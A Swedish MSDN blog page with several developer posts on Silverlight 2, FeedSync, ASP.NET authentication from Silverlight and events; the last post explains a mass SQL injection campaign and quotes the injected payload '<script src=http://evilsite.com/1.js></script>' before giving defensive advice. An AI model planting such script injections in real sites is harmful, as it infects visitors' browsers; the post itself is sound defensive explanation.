Welcome to MSDN Blogs Sign in | Join | Help

Jag tänkte jag skulle börja samla ihop bra länkar och resurser som jag hittar och publicera dessa veckovis under den här rubriken. Torsdagar känns som en bra dag att försöka göra det på, men idag får det bli en fredag eftersom torsdagen/natten/extremt tidigt fredag morgon gick åt till intensivt Sharepoint/Silverlight-hackande :-)

Silverlight

Tim Heuer har skrivit en mycket informativ och bra bloggpost om den nya Silverlight.js-versionen och kompatibilitet med Firefox 3.

Mike Snow har en nystartad blogg där han ger "Tip of the day" för Silverlight-utveckling, senaste tipset är hur du möjliggör högerklick-funktionalitet i Silverlight.

WPF

Patterns & Practices-teamet på Microsoft har varit flitigt sysselsatta med att ta fram Composite Application Guidance for WPF. Det är ett nytt ramverk för att bygga komposita applikationer i WPF med inriktning på verksamhetstöd och affärssystem som har tagits fram i samarbete med ett antal tunga partners inom industrin bl.a. Infosys.

ASP.NET AJAX

Teamet bakom ASP.NET AJAX-ramverket har precis släppt ett 'Roadmap'-dokument som beskriver den föreslagna framtiden för ramverket, hur stödet kommer förbättras i Visual Studio samt hur ASP.NET AJAX Control Toolkit kommer utvecklas.

Sharepoint

En 2-timmars onlinebaserad introduktionsutbildning för MOSS/Sharepoint har gjorts tillgänglig gratis under en begränsad tid.

Säkerhet

Rapporter om SQL-injection-attacker fortsätter strömma in. Här finns ett verktyg som analyserar ASP-källkod för att finna eventuella sårbarheter.

 

Nu går jag på semester så det kommer bli ganska tyst på bloggen, men andra veckan i augusti kör jag igång igen med full fart.

Trevlig sommar!

/robert 

 

Jag håller på att förbereda mig inför Sharepoint-sommarkollo den 20:e augusti där jag ska visa Silverlight-integration i Sharepoint tillsammans med Pontus Haglund.

Har hittat några nya resurser för Sharepoint-utveckling som jag tänkte dela med mig av:

Idag körde jag Silverlight 2-sommarkollo tillsammans med Carl Kenne från Dotway och Anders Rundqvist från Egotronic.

De powerpoint-presentationer vi körde samt demokoden med exempel på databindning, Visual State Manager och Sockets finns här.

Jag nämnde att Brad Abrams skrivit en blogg-post om hur du kan skicka uppdateringar av data i en Silverlight DataGrid till en WCF-tjänst - den hittar du här.

Silverlight Test Framework som jag visade finner du på Jeff Wilcox blogg.

Jag visade en bråkdel av en mycket omfattande demo-applikation som heter Patient Journey Demonstrator - en applikation som visar hur hantering av patientbesök, läkarkonsultation, analys av testresultat m.m. kan se ut i ett Silverlight-gränssnitt.

Slutligen så visade jag ett Deep Zoom-exempel från Barack Obamas kampanjsajt.

Den här var kreativ: en DeepZoom-kollektion som visar ett ansikte av Barack Obama, men när man zoomar in så visar sig ansiktet bestå av tusentals (ca 12 000) bilder på Barack och hans kampanjanhängare:

deepzoomobama1 deepzoomobama2 deepzoomobama3 deepzoomobama4

Igår släpptes den nya virtualiseringsmotorn i Windows Server 2008. Jag har tidigare bloggat om att MSDN och Technet körs virtualiserat med hjälp av Hyper-V - men nu avslöjar Rob Emmanuel från Microsoft.com Operations-team att delar av microsoft.com också körs på Hyper-V - coolt!

Här kan du se en intervju med Mike Neil om vad som är nytt sedan RC0 och vad den nya tekniken innebär - huvudsajten för Hyper-V där du kan ladda hem RTM-versionen finns här.

feedsynclogo feedsync

Microsofts chefsarkitekt Ray Ozzie har sedan 2005 lett utvecklingen av en ny teknik för att hantera synkronisering av data mellan olika enheter (stationära, handhållna, mobila, servrar etc.), en teknik som bygger på och utökar RSS- och Atom-protokollen. Ursprungligen kallades tekniken för Simple Sharing Extensions men döptes om till FeedSync för att bättre illustrera att det är just synkronisering av Feeds som det handlar om.

Med hjälp av FeedSync kan du synkronisera Feeds från flera olika 'endpoints', t.ex. två olika servrar som publicerar data i en gemensam Feed, utan att någon av dessa endpoints enskilt behöver agera 'master' och ansvarara för en enda "sanning" som bestämmer vad denna Feed för tillfället innehåller.

Så här kan en RSS Feed se ut som har utökats med FeedSync - notera användandet av FeedSync namespace med sx: prefixet:

<?xml version="1.0" ?>
<rss version="2.0" xmlns:sx="http://feedsync.org/2007/feedsync">
<channel>
<title>todolist.xml</title>
<description>Sample to do list</description>
<link>http://www.example.com/index.html</link>
<item>
<sx:sync id="ep1.100" updates="1" deleted="false" noconflicts="false">
<sx:history sequence="1" when="20071129T06:27:12Z" by="EP1" />
</sx:sync>
<title>Get car serviced</title>
<description>Needs oil change</description>
</item>
<item>
<sx:sync id="ep1.101" updates="4" deleted="false" noconflicts="false">
<sx:history sequence="4" when="20071129T06:27:15Z" by="EP2" />
<sx:history sequence="3" when="20071129T06:27:13Z" by="EP2" />
<sx:history sequence="2" when="20071129T06:27:13Z" by="EP1" />
<sx:history sequence="1" when="20071129T06:27:11Z" by="EP1" />
<sx:conflicts>
<item>
<sx:sync id="ep1.101" updates="4" deleted="false" noconflicts="false">
<sx:history sequence="4" when="20071129T06:27:13Z" by="EP1" />
<sx:history sequence="3" when="20071129T06:27:13Z" by="EP2" />
<sx:history sequence="2" when="20071129T06:27:13Z" by="EP1" />
<sx:history sequence="1" when="20071129T06:27:11Z" by="EP1" />
</sx:sync>
<title>Buy Groceries</title>
<description>Get milk, eggs, butter and rolls</description>
</item>
</sx:conflicts>
</sx:sync>
<title>Buy Groceries  DONE</title>
<description>Get milk, eggs, butter and bread</description>
</item>
</channel>
</rss>
 

Varje item i en RSS-feed ges ett sx:sync-element som innehåller information om uppdateringshistoriken samt eventuella konflikter. Konflikter uppstår i det fall flera parter eller endpoints som medverkar i synkroniseringen uppdaterar samma post. I den andra posten i exemplet - den med id "ep1.101" - finns det alltså en konflikt eftersom en uppdatering skett av både EP1 och EP2. Eftersom EP2 gjort den senaste uppdateringen kan denna konflikt lösas av logik som implementeras i tjänsten för att undersöka conflicts-elementet. En komplett genomgång av ett exempel med tillhörande källkod för både RSS och Atom finns tillgänglig här.

FeedSync säger alltså inget om den exakta implementationen utan tillhandahåller bara syntaxen för hur Feeds beskrivs samt vilken logik som ska gälla för att hantera synkronisering, upplösning av konflikter, hur publicerande endpoints respektive prenumererande endpoints ska bete sig osv. En mycket intressant "real life" implementation av FeedSync är Live Mesh - som alltså är en komplett plattform för synkronisering av olika enheter, som kan dela data antingen direkt med varandra (Peer-to-Peer) eller genom "moln"-tjänstens lagringsyta.

Men hur förhåller sig FeedSync till Microsoft Sync Framework?

Microsoft Sync Framework består av ett antal färdiga komponenter, tjänster och hjälpklasser vilka tillsammans utgör ett ramverk för att snabbt kunna bygga applikationer som kan synkronisera mellan t.ex. offline och online-lägen. Eftersom ramverket innehåller tjänsten 'Sync Services for FeedSync' går det alldeles utmärkt att bygga sina applikationer med FeedSync-utökade feeds som datakälla. Microsoft Sync Framework tillhandahåller även färdiga tjänster för synkronisering mot filsystem och ADO.NET. Genom dess 'Core'-bibliotek kan ramverket även utökas till att synkronisera mot vilken typ av datakälla som helst.

Hela specifikationen för FeedSync (som faktiskt är barmhärtigt kortfattad :-) finns att läsa här.

hulkSommaravslutning med biovisning känns helrätt - häng med oss på MSDN och bli bjuden på The Incredible Hulk torsdagen den 26 juni på Filmstaden Sergel vid Hötorget. Vi bjuder på popcorn och läsk också.

Anmäl dig här (OBS! antalet platser är begränsat - vi har 100 biljetter att ge bort).

Själv är jag nyfiken på om man får en förklaring till varför Hulkens kalsonger alltid lyckas hänga kvar fast alla andra kläder spricker...

 

 

 

 

 

 

82a5d8a2-bdc4-4691-bd2e-055964955ae4

Förmiddagen tisdagen den 1 juli kör jag Silverlight 2-sommarkollo tillsammans med Carl Kenne från Dotway och Anders Rundqvist från Egotronic. Jag kommer att gå igenom alla spännande nyheter för utvecklare, bl.a. den nya kontroll-modellen, databindning, applikationsförpackning, lokal lagring och nätverksmöjligheter.

Carl och Anders kommer sedan visa på varsitt intressant 'real case' och berätta hur de tänkt vad gäller arkitektur, hur de integrerat Silverlight med annan Microsoft-teknik och vilka utmaningar de stött på.

Anmäl dig här.

Efter semestern kör jag även ett "Visual Studio 2008 för webbutvecklar"-pass tillsammans med Magnus Mårtensson från Dotway (efter lanseringseventet i Göteborg även kända som the Dynamic Duo ;-)

Det blir fömiddagen tisdagen den 19/8. Räkna med en djupdykning i de nya kontrollerna för ASP.NET , den nya funktionaliteten för att hantera och debugga Javascript, designvyn och CSS-hanteringen, LINQ och LINQ to SQL i dina webbapplikationer samt en snabb titt på det nya MVC-ramverket.

Anmäl dig här.

EDIT: la till länkar till live-tester av demos samt en länk till ASP.NET AJAX-dokumentationen. 

Ett scenario som kommer att bli allt vanligare i takt med att fler och fler verksamhetsstödjande system börjar utvecklas med Silverlight är anrop från klienten mot webbtjänster som exponeras via IIS.

Med hjälp av Client Access-policy-filer kan du styra vilka klienter som kan anropa tjänsten, baserat på vilken domän som klienten härstammar ifrån. Men naturligtvis finns även behovet att skydda vissa tjänster från anonymt användande med krav på någon form av autentisering för att komma åt dem. Att via roller kunna styra vilka operationer i tjänsten som går att anropa - baserat på vilken användare som loggat in - kan vara ett annat krav.

I den här artikeln kommer jag visa på tre olika alternativ för autentisering mot ASP.NET:s inbyggda Membership-tjänst. Det är tre snarlika alternativ som bygger på lite olika förutsättningar i vad server-miljön erbjuder. För alla alternativen gäller förutsättningen att Silverlight-applikationen härstammar från samma domän som ASP.NET-applikationen.

Silverlight använder webbläsarens nätverksstack för att göra alla anrop och har inte någon egen hantering av cookies. Det innebär att när en webbplats sätter en cookie som säger att en användare är inloggad, t.ex. en Forms-authentication cookie från ASP.NET, så kommer cookien även automatiskt att skickas med när Silverlight gör ett webbservice-anrop mot ASP.NET-applikationen. I alla tre exempel nedan används denna funktionalitet för att möjliggöra anrop mot en behörighetsskyddad tjänst efter att användaren autentiserats mot ASP.NET Membership-tjänst. Jag har utgått ifrån Silverlight 2 Beta 2 i alla exempel.

Alternativ 1. Autentisering via vanligt HTML-formulär (Login-kontrollen) mot ASP.NET.

Det här alternativet är egentligen det som är minst integrerat med själva Silverlight-applikationen - men kan ändå vara gångbart i vissa fall. Främst så är det ett alternativt där inte något annat än ASP.NET 2.0 krävs på serversidan, vilket kan vara förutsättningen t.ex. i  ett hostat scenario.

Ungefär så här ser min testsida ut:

clip_image001[4]

Principen är oerhört enkel - jag har lagt till en Service-referens i Silverlight-applikationen till en enkel HelloWorld-liknande ASMX-tjänst i ASP.NET-applikationen. I ASP.NET-applikationens root Web.config har jag slagit på Forms-authentication och satt authorization till att endast tillåta användaren 'test':

<authentication mode="Forms">
<forms loginUrl="WebForm1.aspx" defaultUrl="WebForm1.aspx"/>
</authentication>   
<authorization>
  <deny users="?"/>
  <allow users="test"/>
</authorization>
 

För att Silverlight-applikationen ska vara möjlig att hämta till klienten utan att vara inloggad från början har jag även lagt en Web.config i min ClientBin-katalog med följande authorization-element:

<authorization>
<allow users="?" />
</authorization>
 

När användaren klickar på 'Anropa WS'-knappen utan att vara inloggad kastas ett exception (en "404 Not Found" returneras från ASP.NET). När användaren loggat in kommer anropet att gå igenom. Vill du testa applikationen kan du göra det här. ASP.NET-användaren har user: test, passw: Pass_word1

Naturligtvis vore det bättre att t.ex. gråa ut Silverlight-knappen och notifiera ifall användaren inte är inloggad, detta skulle enkelt vara möjligt genom att t.ex. skicka in startparametrar till Silverlight-applikationen från ASP.NET i object-taggen - ex:

<param name="initParams" value="loggedin=false" />

och sedan göra en metod i Silverlight anropningsbar från Javascript som visar när användaren loggat in.

Tim Heuer har skrivit en bra artikel som (bland annat) beskriver start-parametrar i Silverlight 2. Men - som sagt - denna lösning för autentisering är ju egentligen inte integrerad med Silveright, även om det går att få till - lite yxigt dock. Så låt oss titta på ett något elegantare alternativ.

Alternativ 2. Autentisering via ASP.NET AJAX mot ASP.NET.

Det här alternativet kräver ASP.NET AJAX version 1.0 (eller senare - fast kör du ASP.NET 3.5 så är alternativ 3 nedan förmodligen att föredra). I det här fallet har jag lagt in ett inloggningsformulär i Silverlight-applikationen som kommunicerar med ASP.NET Membership-tjänst via Javascript - som i sin tur använder stödet i ASP.NET AJAX klientscriptbibliotek för att sköta autentisering mot tjänsten.

OBS! - kontrollen för inmatning av lösenord är lite utav ett hack som jag lånat från Brad Abrams - använd inte den i en produktionslösning eftersom den är smått buggig (ibland visar den t.ex. klartext istället för stjärn-tecken...)

I exemplet har jag också använt ASP.NET AJAX 3.5 eftersom jag inte ville installera ASP.NET AJAX 1.0 separat - om du vill använda ASP.NET AJAX 1.0 i Visual Studio 2008 så kolla in Scott Guthries post här.

Konfigureringsmässigt skiljer sig inte denna lösning åt från alternativ 1, annat än att jag har lagt till ett authenticationService-element i Web.config:

<system.web.extensions>
<scripting>
<webServices>
<authenticationService enabled="true" />
</webServices>
</scripting>
</system.web.extensions>

I princip har jag använt lösningen som finns beskriven här för att anropa ASP.NET med hjälp AJAX-klientscriptbibliotek.

I Silverlight används sedan System.Windows.Browser.HtmlPage.Window.Invoke för att anropa javascript för inloggning. När svaret kommer tillbaka från ASP.NET authenticationService görs en alert i sidan för att visa resultatet. Vill du testa alternativ 2 kan du göra det här. ASP.NET-användaren har user: test, passw: Pass_word1

Alternativ 3. Autentisering via WCF mot ASP.NET.

I och med .NET Framework 3.5 och ASP.NET 3.5 har vi fått möjligheten att anropa ASP.NET's autentiseringstjänst direkt via en exponerad WCF-tjänst. Med ASP.NET 3.5 kan vi alltså autentisera användare genom ett anrop direkt ifrån Silverlight (eller en Windows-klient), utan att behöva gå via Javascript och AJAX. Detta alternativ är naturligtvis det mest eleganta av de tre - och det som du bör satsa på ifall du kan köra ASP.NET 3.5 på din webbserver.

Jag har i princip modifierat lösningen som jag använt för de två tidigare exemplen genom att följa Brad Abrams post i ämnet här. Det är också därifrån jag lånat kontrollen som hanterar inmatning av lösenord eftersom Silverlight än så länge inte har någon inbyggd sådan. För att autentiseringstjänsten ska vara nåbar utan att först behöva logga in (Duh! :-)  så har jag lagt AuthenticationService.svc i mitt ClientBin-bibliotek.

Vill du testa alternativ 3 kan du göra det här. ASP.NET-användaren har user: test, passw: Pass_word1

...

Så - för att sammanfatta de alternativ jag visat

  1. Inloggning med "vanliga" ASP.NET login-kontrollen (fungerar med ASP.NET 2).
  2. Inloggning med hjälp av ASP.NET AJAX (fungerar med ASP.NET AJAX 1.0)
  3. Inloggning med hjälp av WCF-autentiseringsservice (fungerar med ASP.NET 3.5)

Du kan ladda hem källkoden för alla alternativ här.

ZX360LogoSmall

hittade precis den här: http://www.codeplex.com/zx360

Känns som nattsömnen förstörts ytterligare ett tag fram alltså...

En av de stora nyheterna i Beta 2 av Silverlight 2 är möjligheten att styra kontrollers utseende med hjälp av 'Visual State Manager', förkortat VSM. Med VSM introduceras möjligheten att anpassa kontrollers utseende i olika visuella tillstånd - 'Visual States' - samt att styra utseendet under övergångarna mellan olika tillstånd - 'Transitions'.stateexplorer-thumb

Naturligtvis finns det stöd i Expression Blend 2.5 (June Preview) för att med hjälp av VSM designa utseendet på kontrollers utseende samt vilka animationer som ska användas i olika tillstånd och under övergångar mellan tillstånden.

Läs mer och kolla på en utmärkt intro-film till VSM som Christian Schormann från Expression-teamet spelat in.

Tyvärr finns det en bug i XAML-parsningen i designytan i Visual Studio som gör att du kommer få ett fel som säger "The attachable property 'VisualStateGroups' was not found in type 'VisualStateManager'" om du använder VSM. Projektet går dock att bygga och köra utan problem även från Visual Studio.

EDIT - VMS -> VSM på två ställen (hmmm... freudiansk felskrivning :-)

 

 

 

 

 

 

 

 

 

 

 

 

Imorse gjordes Silverlight 2 Beta 2 tillgänglig för nedladdning tillsammans med en uppdaterad version av Expression Blend 2.5 (June Preview) samt ny version av Silverlight Tools for Visual Studio och Deep Zoom Composer. På http://silverlight.net/GetStarted/ hittar du alla länkar till nedladdningar.

Har du hitills helt lyckats hålla dig ifrån allt vad Silverlight heter rekommenderas denna 'Get Started'-filmSilverlight2-Get-Started-Thumbnail som visar hur du installerar verktygen och bygger den första 'HelloWorld'-applikationen.

 

 

 

EDIT: såg precis att ScottGu publicerat en genomgång av vad som är nytt i Beta2.

Jose Fajardo från Cynergy Systems körde en riktigt uppskattad session på ReMIX08-konferensen i Australien där han visade ett par riktigt fantasi-kittlande Deep Zoom-demos. Tyvärr finns inte sessionen inspelad, men Michael Kordahi har spelat in en intervju med Jose i efterhand där han visar sina demos.

jose@delicateGeniusTV

Missa inte kolla in denna!

Tack till Ola Karlsson som tipsade om Jose's demos och filmen. Ola har för övrigt en intressant blog själv där han skriver om utveckling i allmänhet och Silverlight i synnerhet (men inget om vädret, som enligt uppgift ska vara regnigt, kallt och eländigt i Australien så här års :-)

Under keynoten på Teched idag annonserades att Silverlight 2 Beta 2 kommer släppas senare i veckan.

sl_button

Bland nyheterna märks bl.a.:

· UI Ramverket: Beta 2 innehåller förbättringar i animeringsstödet, felhantering, rapportering, automatisering och tillgänglighet, tangentbordsstöd samt allmänt förbättrad prestanda. Produkt-teamet har också arbetat väldigt intensivt med att öka kompatibiliteten mellan Silverlight och WPF.

· Rika kontroller: Beta 2 innehåller en ny modell som kallas 'Visual State Manager' som gör det enklare att skapa egna stil-mallar för kontroller. En helt ny TabControl introduceras samtidigt som funktioner för radbrytning och scrollning i TextBox förbättras. DataGrid:en har försetts med funktionerna 'Autosize', 'Reorder' och 'Sort' - dessutom har prestandan förbättrats avsevärt.  De flesta kontroller ligger nu inpackade i Silverlight-installationen istället för som ett separat assembly som du måste referera till i din applikation.

· Nätverksstöd: Beta 2 har förbättrat stöd för anrop mellan domäner, ett antal säkerhetsuppdateringar samt stöd för fil-uppladdningar m.h.a. WebClient-objektet. Det kommer även ett nytt sätt att använda duplex-kommunikation tillsammans med WCF-tjänster genom en helt ny typ av bindning (där data kan “pushas” från en server till en Silverlight-klient).

· Rikt bas-klassbibliotek: Beta 2 har förbättrade möjligheter till flertrådad programmering, stöd för LINQ-to-JSON, stöd för ADO.NET Data Services, förbättrat SOAP-stöd och ett gäng andra förbättringar vad gäller nätverk och hur du kan hantera data i dina Silverlight-applikationer.

· Deep Zoom: med Beta 2 får vi ett nytt XML-baserat format för de bild-'tiles' som beskriver de ingående bilderna i en Deep Zoom-kollektion. Det kommer också en ny kontroll kallad 'MultiScaleTileSource' för att kunna nyttja befintliga 'tile'-databaser tillsammans med Deep Zoom-funktionalitet. Vi får också event-drivna notifieringar för zoom och panorering.

Den senaste tiden har en mängd sajter blivit infekterade av en SQL Injection-attack som använder SQL Servers möjlighet att exekvera en hexadecimal-representation av en fråga. I det här fallet har frågan bestått av en SQL-sats som hämtar och loopar igenom alla text-fält som ligger i sysobjects- och syscolumns-tabellerna och lägger till en sträng av typen: ''<script src=http://evilsite.com/1.js></script>''' i fältet.

När en användare sedan går in på den infekterade sajten så kommer scriptet att exekveras.

Attacken uttnyttjar inte någon ny svaghet i IIS eller SQL-server utan helt enkelt det faktum att dynamisk SQL tillåts köra med parametrar som hämtas direkt från formulär eller Querystrings. Därför är det också i huvudsak äldre webbapplikationer som kör 'klassisk' ASP som drabbats. Men även i klassisk ASP har man möjlighet att använda hårt typade parametrar istället för godtyckliga strängar som inparametrar. Den här artikeln beskriver hur du gör detta med ADO. Läs även denna artikel ifall du har en webbplats som fortfarande kör klassisk ASP för tips om hur du bör validera indata.

Fler bra artiklar om denna specifika attack samt hur du skyddar dig mot SQL Injections i ASP.NET:

SQL Injection Attacks on IIS Web Servers
How To: Protect From SQL Injection in ASP.NET
Tip/Trick: Guard Against SQL Injection Attacks
Please, please, please, learn about injection attacks!

More Posts Next page »
 
Page view tracker